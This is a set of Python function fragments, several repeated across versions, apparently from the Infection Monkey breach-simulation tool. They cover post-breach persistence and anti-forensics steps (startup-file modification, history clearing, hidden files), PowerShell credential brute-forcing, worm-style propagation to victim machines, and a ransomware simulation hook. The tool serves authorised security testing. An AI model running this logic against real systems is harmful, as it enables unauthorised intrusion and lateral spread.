def run(self): # create hidden files and folders for function_to_get_commands in HIDDEN_FSO_CREATION_COMMANDS: linux_cmds, windows_cmds = function_to_get_commands() super(HiddenFiles, self).__init__(name=POST_BREACH_HIDDEN_FILES, linux_cmd=' '.join(linux_cmds), windows_cmd=windows_cmds) super(HiddenFiles, self).run() if is_windows_os(): # use winAPI result, status = get_winAPI_to_hide_files() PostBreachTelem(self, (result, status)).send() # cleanup hidden files and folders cleanup_hidden_files(is_windows_os())
def cleanup_changes(original_comspec): if is_windows_os(): subprocess.run( # noqa: DUO116 get_windows_commands_to_reset_comspec(original_comspec), shell=True) subprocess.run(get_windows_commands_to_delete_temp_comspec(), shell=True) # noqa: DUO116
def __init__(self): super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION) self.filename = '' if not is_windows_os(): # Add linux commands to PBA's if WormConfiguration.PBA_linux_filename: if WormConfiguration.custom_PBA_linux_cmd: # Add change dir command, because user will try to access his file self.command = (DIR_CHANGE_LINUX % get_monkey_dir_path() ) + WormConfiguration.custom_PBA_linux_cmd self.filename = WormConfiguration.PBA_linux_filename else: file_path = os.path.join( get_monkey_dir_path(), WormConfiguration.PBA_linux_filename) self.command = DEFAULT_LINUX_COMMAND.format(file_path) self.filename = WormConfiguration.PBA_linux_filename elif WormConfiguration.custom_PBA_linux_cmd: self.command = WormConfiguration.custom_PBA_linux_cmd else: # Add windows commands to PBA's if WormConfiguration.PBA_windows_filename: if WormConfiguration.custom_PBA_windows_cmd: # Add change dir command, because user will try to access his file self.command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path( )) + WormConfiguration.custom_PBA_windows_cmd self.filename = WormConfiguration.PBA_windows_filename else: file_path = os.path.join( get_monkey_dir_path(), WormConfiguration.PBA_windows_filename) self.command = DEFAULT_WINDOWS_COMMAND.format(file_path) self.filename = WormConfiguration.PBA_windows_filename elif WormConfiguration.custom_PBA_windows_cmd: self.command = WormConfiguration.custom_PBA_windows_cmd
def get_linux_commands_to_modify_shell_startup_files(): if is_windows_os(): return '', [], [] HOME_DIR = "/home/" # get list of usernames USERS = subprocess.check_output( # noqa: DUO116 "cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1", shell=True ).decode().split('\n')[:-1] # get list of paths of different shell startup files with place for username STARTUP_FILES = [ file_path.format(HOME_DIR) for file_path in [ "{0}{{0}}/.profile", # bash, dash, ksh, sh "{0}{{0}}/.bashrc", # bash "{0}{{0}}/.bash_profile", "{0}{{0}}/.config/fish/config.fish", # fish "{0}{{0}}/.zshrc", # zsh "{0}{{0}}/.zshenv", "{0}{{0}}/.zprofile", "{0}{{0}}/.kshrc", # ksh "{0}{{0}}/.tcshrc", # tcsh "{0}{{0}}/.cshrc", # csh ] ] return [ '3<{0} 3<&- &&', # check for existence of file 'echo \"# Succesfully modified {0}\" |', 'tee -a {0} &&', # append to file 'sed -i \'$d\' {0}', # remove last line of file (undo changes) ], STARTUP_FILES, USERS
def get_windows_commands_to_modify_shell_startup_files(): if not is_windows_os(): return "", [] # get powershell startup file path SHELL_STARTUP_FILE = subprocess.check_output( "powershell $Profile").decode().split("\r\n")[0] SHELL_STARTUP_FILE_PATH_COMPONENTS = SHELL_STARTUP_FILE.split("\\") # get list of usernames USERS = ( subprocess.check_output("dir C:\\Users /b", shell=True) # noqa: DUO116 .decode().split("\r\n")[:-1]) USERS.remove("Public") STARTUP_FILES_PER_USER = [ "\\".join(SHELL_STARTUP_FILE_PATH_COMPONENTS[:2] + [user] + SHELL_STARTUP_FILE_PATH_COMPONENTS[3:]) for user in USERS ] return [ "powershell.exe", "infection_monkey/post_breach/shell_startup_files/windows" "/modify_powershell_startup_file.ps1", "-startup_file_path {0}", ], STARTUP_FILES_PER_USER
def choose_command(linux_cmd, windows_cmd): """ Helper method that chooses between linux and windows commands. :param linux_cmd: :param windows_cmd: :return: Command for current os """ return windows_cmd if is_windows_os() else linux_cmd
def should_run(class_name): if not is_windows_os(): if WormConfiguration.PBA_linux_filename or WormConfiguration.custom_PBA_linux_cmd: return True else: if WormConfiguration.PBA_windows_filename or WormConfiguration.custom_PBA_windows_cmd: return True return False
def get_linux_usernames(): if is_windows_os(): return [] # get list of usernames USERS = subprocess.check_output( # noqa: DUO116 "cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1", shell=True).decode().split('\n')[:-1] return USERS
def _set_target_directory(self, os_target_directories: dict): if is_windows_os(): target_directory = os_target_directories["windows_target_dir"] else: target_directory = os_target_directories["linux_target_dir"] try: self.target_directory = expand_path(target_directory) except InvalidPath as e: logger.debug(f"Target ransomware directory set to None: {e}") self.target_directory = None
def get_commandline_for_http_request(url, is_windows=is_windows_os()): if is_windows: format_string = \ 'powershell.exe -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; ' \ 'Invoke-WebRequest {url} -UseBasicParsing"' else: # true || false -> 0. false || true -> 0. false || false -> 1. So: # if curl works, we're good. # If curl doesn't exist or fails and wget work, we're good. # And if both don't exist: we'll call it a win. format_string = "curl {url} || wget -O/dev/null -q {url}" return format_string.format(url=url)
def run(self): try: original_comspec = "" if is_windows_os(): original_comspec = subprocess.check_output( # noqa: DUO116 "if defined COMSPEC echo %COMSPEC%", shell=True).decode() super().run() except Exception as e: LOG.warning(f"An exception occurred on running PBA " f"{POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC}: {str(e)}") finally: cleanup_changes(original_comspec)
def get_commandline_for_http_request(url, is_windows=is_windows_os()): if is_windows: format_string = ( 'powershell.exe -command "[Net.ServicePointManager]::SecurityProtocol = [' "Net.SecurityProtocolType]::Tls12; " 'Invoke-WebRequest {url} -UseBasicParsing"') else: # if curl works, we're good. # If curl doesn't exist or fails and wget work, we're good. # And if both don't exist: we'll call it a win. if shutil.which("curl") is not None: format_string = "curl {url}" else: format_string = "wget -O/dev/null -q {url}" return format_string.format(url=url)
def get_linux_commands_to_clear_command_history(): if is_windows_os(): return '' TEMP_HIST_FILE = '$HOME/monkey-temp-hist-file' return [ '3<{0} 3<&- && ', # check for existence of file 'cat {0} ' # copy contents of history file to... f'> {TEMP_HIST_FILE} && ', # ...temporary file 'echo > {0} && ', # clear contents of file 'echo \"Successfully cleared {0}\" && ', # if successfully cleared f'cat {TEMP_HIST_FILE} ', # restore history file back with... '> {0} ;' # ...original contents f'rm {TEMP_HIST_FILE} -f' # remove temp history file ]
def get_linux_commands_to_clear_command_history(): if is_windows_os(): return "" TEMP_HIST_FILE = "$HOME/monkey-temp-hist-file" return [ "3<{0} 3<&- && ", # check for existence of file "cat {0} " # copy contents of history file to... f"> {TEMP_HIST_FILE} && ", # ...temporary file "echo > {0} && ", # clear contents of file 'echo "Successfully cleared {0}" && ', # if successfully cleared f"cat {TEMP_HIST_FILE} ", # restore history file back with... "> {0} ;" f"rm {TEMP_HIST_FILE} -f", # ...original contents # remove temp history file ]
def create_auto_new_user(username, password, is_windows=is_windows_os()): """ Factory method for creating an AutoNewUser. See AutoNewUser's documentation for more information. Example usage: with create_auto_new_user(username, PASSWORD) as new_user: ... :param username: The username of the new user. :param password: The password of the new user. :param is_windows: If True, a new Windows user is created. Otherwise, a Linux user is created. Leave blank for automatic detection. :return: The new AutoNewUser object - use with a `with` scope. """ if is_windows: return AutoNewWindowsUser(username, password) else: return AutoNewLinuxUser(username, password)
def get_linux_command_history_files(): if is_windows_os(): return [] HOME_DIR = "/home/" # get list of paths of different shell history files (default values) with place for username STARTUP_FILES = [ file_path.format(HOME_DIR) for file_path in [ "{0}{{0}}/.bash_history", # bash "{0}{{0}}/.local/share/fish/fish_history", # fish "{0}{{0}}/.zsh_history", # zsh "{0}{{0}}/.sh_history", # ksh "{0}{{0}}/.history", # csh, tcsh ] ] return STARTUP_FILES
def set_proxies(proxy_find): """ Note: The proxy schema changes between different versions of requests and urllib3, which causes the machine to not open a tunnel back. If we get "ValueError: check_hostname requires server_hostname" or "Proxy URL had not schema, should start with http:// or https://" errors, the proxy schema needs to be changed. Keep this in mind when upgrading to newer python version or when urllib3 and requests are updated there is possibility that the proxy schema is changed. https://github.com/psf/requests/issues/5297 https://github.com/psf/requests/issues/5855 """ proxy_address, proxy_port = proxy_find logger.info("Found tunnel at %s:%s" % (proxy_address, proxy_port)) if is_windows_os(): ControlClient.proxies[ "https"] = f"http://{proxy_address}:{proxy_port}" else: ControlClient.proxies["https"] = f"{proxy_address}:{proxy_port}"
def __init__(self): super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION) self.filename = "" if not is_windows_os(): # Add linux commands to PBA's if WormConfiguration.PBA_linux_filename: self.filename = WormConfiguration.PBA_linux_filename if WormConfiguration.custom_PBA_linux_cmd: # Add change dir command, because user will try to access his file self.command = (DIR_CHANGE_LINUX % get_monkey_dir_path() ) + WormConfiguration.custom_PBA_linux_cmd elif WormConfiguration.custom_PBA_linux_cmd: self.command = WormConfiguration.custom_PBA_linux_cmd else: # Add windows commands to PBA's if WormConfiguration.PBA_windows_filename: self.filename = WormConfiguration.PBA_windows_filename if WormConfiguration.custom_PBA_windows_cmd: # Add change dir command, because user will try to access his file self.command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path( )) + WormConfiguration.custom_PBA_windows_cmd elif WormConfiguration.custom_PBA_windows_cmd: self.command = WormConfiguration.custom_PBA_windows_cmd
def _exploit_host(self): try: use_ssl = self._is_client_using_https() except PowerShellRemotingDisabledError as e: logging.info(e) return False credentials = get_credentials( self._config.exploit_user_list, self._config.exploit_password_list, self._config.exploit_lm_hash_list, self._config.exploit_ntlm_hash_list, is_windows_os(), ) auth_options = [ get_auth_options(creds, use_ssl) for creds in credentials ] self._client = self._authenticate_via_brute_force( credentials, auth_options) if not self._client: return False return self._execute_monkey_agent_on_victim()
def start(self): LOG.info("Monkey is running...") # Sets island's IP and port for monkey to communicate to if not self.set_default_server(): return self.set_default_port() # Create a dir for monkey files if there isn't one create_monkey_dir() if WindowsUpgrader.should_upgrade(): self._upgrading_to_64 = True self._singleton.unlock() LOG.info("32bit monkey running on 64bit Windows. Upgrading.") WindowsUpgrader.upgrade(self._opts) return ControlClient.wakeup(parent=self._parent) ControlClient.load_control_config() if is_windows_os(): T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send() if not WormConfiguration.alive: LOG.info("Marked not alive from configuration") return if firewall.is_enabled(): firewall.add_firewall_rule() monkey_tunnel = ControlClient.create_control_tunnel() if monkey_tunnel: monkey_tunnel.start() StateTelem(is_done=False).send() TunnelTelem().send() if WormConfiguration.collect_system_info: LOG.debug("Calling system info collection") system_info_collector = SystemInfoCollector() system_info = system_info_collector.get_info() SystemInfoTelem(system_info).send() # Executes post breach actions PostBreach().execute() if 0 == WormConfiguration.depth: TraceTelem("Reached max depth, shutting down").send() return else: LOG.debug("Running with depth: %d" % WormConfiguration.depth) for iteration_index in xrange(WormConfiguration.max_iterations): ControlClient.keepalive() ControlClient.load_control_config() self._network.initialize() self._exploiters = WormConfiguration.exploiter_classes self._fingerprint = [ fingerprint() for fingerprint in WormConfiguration.finger_classes ] if not self._keep_running or not WormConfiguration.alive: break machines = self._network.get_victim_machines( max_find=WormConfiguration.victims_max_find, stop_callback=ControlClient.check_for_stop) is_empty = True for machine in machines: if ControlClient.check_for_stop(): break is_empty = False for finger in self._fingerprint: LOG.info( "Trying to get OS fingerprint from %r with module %s", machine, finger.__class__.__name__) finger.get_host_fingerprint(machine) ScanTelem(machine).send() # skip machines that we've already exploited if machine in self._exploited_machines: LOG.debug("Skipping %r - already exploited", machine) continue elif machine in self._fail_exploitation_machines: if WormConfiguration.retry_failed_explotation: LOG.debug( "%r - exploitation failed before, trying again", machine) else: LOG.debug("Skipping %r - exploitation failed before", machine) continue if monkey_tunnel: monkey_tunnel.set_tunnel_for_host(machine) if self._default_server: if self._network.on_island(self._default_server): machine.set_default_server( get_interface_to_target(machine.ip_addr) + (':' + self._default_server_port if self. _default_server_port else '')) else: machine.set_default_server(self._default_server) LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server)) # Order exploits according to their type if WormConfiguration.should_exploit: self._exploiters = sorted( self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value) host_exploited = False for exploiter in [ exploiter(machine) for exploiter in self._exploiters ]: if self.try_exploiting(machine, exploiter): host_exploited = True VictimHostTelem('T1210', ScanStatus.USED, machine=machine).send() break if not host_exploited: self._fail_exploitation_machines.add(machine) VictimHostTelem('T1210', ScanStatus.SCANNED, machine=machine).send() if not self._keep_running: break if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1): time_to_sleep = WormConfiguration.timeout_between_iterations LOG.info( "Sleeping %d seconds before next life cycle iteration", time_to_sleep) time.sleep(time_to_sleep) if self._keep_running and WormConfiguration.alive: LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations) elif not WormConfiguration.alive: LOG.info("Marked not alive from configuration") # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to # connect to the tunnel if len(self._exploited_machines) > 0: time_to_sleep = WormConfiguration.keep_tunnel_open_time LOG.info( "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep) time.sleep(time_to_sleep) if monkey_tunnel: monkey_tunnel.stop() monkey_tunnel.join()
def remove_scheduled_jobs(): if is_windows_os(): subprocess.run(get_windows_commands_to_remove_scheduled_jobs(), shell=True) # noqa: DUO116
def start(self): try: LOG.info("Monkey is starting...") LOG.debug("Starting the setup phase.") # Sets island's IP and port for monkey to communicate to self.set_default_server() self.set_default_port() # Create a dir for monkey files if there isn't one create_monkey_dir() self.upgrade_to_64_if_needed() ControlClient.wakeup(parent=self._parent) ControlClient.load_control_config() if is_windows_os(): T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send() self.shutdown_by_not_alive_config() if self.is_started_on_island(): ControlClient.report_start_on_island() ControlClient.should_monkey_run(self._opts.vulnerable_port) if firewall.is_enabled(): firewall.add_firewall_rule() monkey_tunnel = ControlClient.create_control_tunnel() if monkey_tunnel: monkey_tunnel.start() StateTelem(is_done=False, version=get_version()).send() TunnelTelem().send() LOG.debug("Starting the post-breach phase.") self.collect_system_info_if_configured() PostBreach().execute_all_configured() LOG.debug("Starting the propagation phase.") self.shutdown_by_max_depth_reached() for iteration_index in range(WormConfiguration.max_iterations): ControlClient.keepalive() ControlClient.load_control_config() self._network.initialize() self._fingerprint = HostFinger.get_instances() self._exploiters = HostExploiter.get_classes() if not self._keep_running or not WormConfiguration.alive: break machines = self._network.get_victim_machines( max_find=WormConfiguration.victims_max_find, stop_callback=ControlClient.check_for_stop) is_empty = True for machine in machines: if ControlClient.check_for_stop(): break is_empty = False for finger in self._fingerprint: LOG.info( "Trying to get OS fingerprint from %r with module %s", machine, finger.__class__.__name__) finger.get_host_fingerprint(machine) ScanTelem(machine).send() # skip machines that we've already exploited if machine in self._exploited_machines: LOG.debug("Skipping %r - already exploited", machine) continue elif machine in self._fail_exploitation_machines: if WormConfiguration.retry_failed_explotation: LOG.debug( "%r - exploitation failed before, trying again", machine) else: LOG.debug( "Skipping %r - exploitation failed before", machine) continue if monkey_tunnel: monkey_tunnel.set_tunnel_for_host(machine) if self._default_server: if self._network.on_island(self._default_server): machine.set_default_server( get_interface_to_target(machine.ip_addr) + (':' + self._default_server_port if self. _default_server_port else '')) else: machine.set_default_server(self._default_server) LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server)) # Order exploits according to their type self._exploiters = sorted( self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value) host_exploited = False for exploiter in [ exploiter(machine) for exploiter in self._exploiters ]: if self.try_exploiting(machine, exploiter): host_exploited = True VictimHostTelem('T1210', ScanStatus.USED, machine=machine).send() break if not host_exploited: self._fail_exploitation_machines.add(machine) VictimHostTelem('T1210', ScanStatus.SCANNED, machine=machine).send() if not self._keep_running: break if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1): time_to_sleep = WormConfiguration.timeout_between_iterations LOG.info( "Sleeping %d seconds before next life cycle iteration", time_to_sleep) time.sleep(time_to_sleep) if self._keep_running and WormConfiguration.alive: LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations) elif not WormConfiguration.alive: LOG.info("Marked not alive from configuration") # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to # connect to the tunnel if len(self._exploited_machines) > 0: time_to_sleep = WormConfiguration.keep_tunnel_open_time LOG.info( "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep) time.sleep(time_to_sleep) if monkey_tunnel: monkey_tunnel.stop() monkey_tunnel.join() except PlannedShutdownException: LOG.info( "A planned shutdown of the Monkey occurred. Logging the reason and finishing execution." ) LOG.exception("Planned shutdown, reason:")
def cleanup_hidden_files(is_windows=is_windows_os()): subprocess.run( get_windows_commands_to_delete() if is_windows # noqa: DUO116 else ' '.join(get_linux_commands_to_delete()), shell=True)
network for network in ipv4_nets if network['addr'] != '127.0.0.1' ] # remove auto conf ipv4_nets = [ network for network in ipv4_nets if not network['addr'].startswith('169.254') ] for network in ipv4_nets: if 'broadcast' in network: network.pop('broadcast') for attr in network: network[attr] = network[attr] return ipv4_nets if is_windows_os(): def local_ips(): local_hostname = socket.gethostname() return socket.gethostbyname_ex(local_hostname)[2] def get_routes(): raise NotImplementedError() else: from fcntl import ioctl def local_ips(): valid_ips = [network['addr'] for network in get_host_subnets()] return valid_ips def get_routes(): # based on scapy implementation for route parsing
def get_commandline_for_ping(domain=PING_TEST_DOMAIN, is_windows=is_windows_os()): format_string = "PING.exe {domain} -n 1" if is_windows else "ping -c 1 {domain}" return format_string.format(domain=domain)
def __init__(self): self.os_is_linux = not is_windows_os() self.pba_list = self.config_to_pba_list()
def _get_os(): return "Windows" if is_windows_os() else "Linux"
def should_upgrade(): return is_windows_os() and is_64bit_windows_os() and not is_64bit_python()
def start(self): try: logger.info("Monkey is starting...") logger.debug("Starting the setup phase.") # Sets island's IP and port for monkey to communicate to self.set_default_server() self.set_default_port() # Create a dir for monkey files if there isn't one create_monkey_dir() self.upgrade_to_64_if_needed() ControlClient.wakeup(parent=self._parent) ControlClient.load_control_config() if is_windows_os(): T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send() self.shutdown_by_not_alive_config() if is_running_on_island(): WormConfiguration.started_on_island = True ControlClient.report_start_on_island() if not ControlClient.should_monkey_run(self._opts.vulnerable_port): raise PlannedShutdownException( "Monkey shouldn't run on current machine " "(it will be exploited later with more depth)." ) if firewall.is_enabled(): firewall.add_firewall_rule() self._monkey_tunnel = ControlClient.create_control_tunnel() if self._monkey_tunnel: self._monkey_tunnel.start() StateTelem(is_done=False, version=get_version()).send() TunnelTelem().send() logger.debug("Starting the post-breach phase asynchronously.") self._post_breach_phase = Thread(target=self.start_post_breach_phase) self._post_breach_phase.start() if not InfectionMonkey.max_propagation_depth_reached(): logger.info("Starting the propagation phase.") logger.debug("Running with depth: %d" % WormConfiguration.depth) self.propagate() else: logger.info( "Maximum propagation depth has been reached; monkey will not propagate." ) TraceTelem(MAX_DEPTH_REACHED_MESSAGE).send() if self._keep_running and WormConfiguration.alive: InfectionMonkey.run_ransomware() # if host was exploited, before continue to closing the tunnel ensure the exploited # host had its chance to # connect to the tunnel if len(self._exploited_machines) > 0: time_to_sleep = WormConfiguration.keep_tunnel_open_time logger.info( "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep ) time.sleep(time_to_sleep) except PlannedShutdownException: logger.info( "A planned shutdown of the Monkey occurred. Logging the reason and finishing " "execution." ) logger.exception("Planned shutdown, reason:") finally: if self._monkey_tunnel: self._monkey_tunnel.stop() self._monkey_tunnel.join() if self._post_breach_phase: self._post_breach_phase.join()